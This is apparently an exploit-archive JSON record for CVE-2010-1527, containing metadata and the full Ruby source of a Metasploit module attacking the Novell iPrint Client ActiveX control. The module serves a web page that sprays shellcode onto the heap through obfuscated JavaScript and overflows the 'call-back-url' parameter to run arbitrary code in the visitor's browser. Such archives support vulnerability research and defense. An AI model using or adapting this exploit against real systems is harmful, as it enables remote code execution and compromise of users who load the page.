{"exploit":{"id":"EDB-15072","name":"Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit)","description":"Novell iPrint Client - ActiveX Control call-back-url Buffer Overflow (Metasploit)","cves":["CVE-2010-1527"],"author":"Trancer","published":"2010-09-21","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15072","path":"exploits/windows/remote/15072.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15072.rb","vulnerabilities":[{"id":"CVE-2010-1527","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Novell iPrint Client before 5.44 allows remote attackers to execute arbitrary code via a long call-back-url parameter in an op-client-interface-version action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-1527","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-1527"},"updatedAt":"2024-08-07T01:28:41.985Z","retrievedAt":"2026-11-27T01:25:45.460Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15072.png?v=2","url":"https://exploitbin.com/exploits/EDB-15072","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15072/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15072/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: novelliprint_callbackurl.rb 10429 2010-09-21 18:46:29Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n##\n# novelliprint_callbackurl.rb\n#\n# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework\n#\n# Exploit successfully tested on the following platforms:\n#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3\n#  - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3\n#  - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2\n#\n# ienipp.ocx version tested:\n# File Version: 5.4.0.0 and 5.4.2.0\n# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C\n# RegKey Safe for Script: True\n# RegKey Safe for Init: True\n# KillBitSet: False\n#\n# References:\n#  - CVE-2010-1527\n#  - OSVDB 67411\n#  - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research\n#  - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit\n#  - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis\n#  - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security\n#\n# Trancer\n# http://www.rec-sec.com\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.\n\t\t\t\tWhen sending an overly long string to the 'call-back-url' parameter in an\n\t\t\t\top-client-interface-version action of ienipp.ocx an attacker may be able to\n\t\t\t\texecute arbitrary code.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => [ 'Trancer <mtrancer[at]gmail.com' ],\n\t\t\t'Version'        => '$Revision: 10429 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2010-1527' ],\n\t\t\t\t\t[ 'OSVDB', '67411'],\n\t\t\t\t\t[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ],\t# Carsten Eiram, Secunia Research\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ],\t\t# MOAUB #19\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'         => 1024,\n\t\t\t\t\t'BadChars'      => \"\\x00\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Aug 20 2010',\n\t\t\t'DefaultTarget'  => 0))\n\tend\n\n\tdef autofilter\n\t\tfalse\n\tend\n\n\tdef check_dependencies\n\t\tuse_zlib\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\t# Re-generate the payload.\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\n\t\t# Encode the shellcode.\n\t\tshellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n\t\t# Setup exploit buffers\n\t\tnops \t  = Rex::Text.to_unescape([target.ret].pack('V'))\n\t\tret  \t  = [target.ret].pack('V')\n\t\tret \t  = ret * 250\n\t\tblocksize = 0x40000\n\t\tfillto    = 500\n\t\toffset \t  = target['Offset']\n\n\t\t# ActiveX parameters\n\t\tclsid \t= \"36723F97-7AA0-11D4-8919-FF2D71D0D32C\"\n\n\t\t# Randomize the javascript variable names\n\t\tienipp       = rand_text_alpha(rand(100) + 1)\n\t\tj_shellcode  = rand_text_alpha(rand(100) + 1)\n\t\tj_nops       = rand_text_alpha(rand(100) + 1)\n\t\tj_ret        = rand_text_alpha(rand(100) + 1)\n\t\tj_headersize = rand_text_alpha(rand(100) + 1)\n\t\tj_slackspace = rand_text_alpha(rand(100) + 1)\n\t\tj_fillblock  = rand_text_alpha(rand(100) + 1)\n\t\tj_block      = rand_text_alpha(rand(100) + 1)\n\t\tj_memory     = rand_text_alpha(rand(100) + 1)\n\t\tj_counter    = rand_text_alpha(rand(30) + 2)\n\n\t\thtml = %Q|<html>\n<script>\nvar #{j_shellcode} = unescape('#{shellcode}');\nvar #{j_nops} = unescape('#{nops}');\nvar #{j_headersize} = 20;\nvar #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;\nwhile (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};\nvar #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});\nvar #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});\nwhile (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};\nvar #{j_memory} = new Array();\nfor (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {\n\t#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};\n}\n</script>\n<object classid='clsid:#{clsid}' id='#{ienipp}'>\n<param name='operation' value='op-client-interface-version' />\n<param name='result-type' value='url' />\n<param name='call-back-url' value='#{ret}' />\n</object>\n</html>|\n\n\t\tprint_status(\"Sending exploit to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t# Transmit the response to the client\n\t\tsend_response(cli, html, { 'Content-Type' => 'text/html' })\n\n\t\t# Handle the payload\n\t\thandler(cli)\n\tend\n\nend","sha256":"57410a3d3d61a9c6fd2a12f7c4f3470efe82994a38432337924a9ce5bd7f2e77","bytes":5107,"fetchedAt":"2026-11-27T01:11:05.385Z","encoding":"utf-8 (display only; download retains original bytes)"}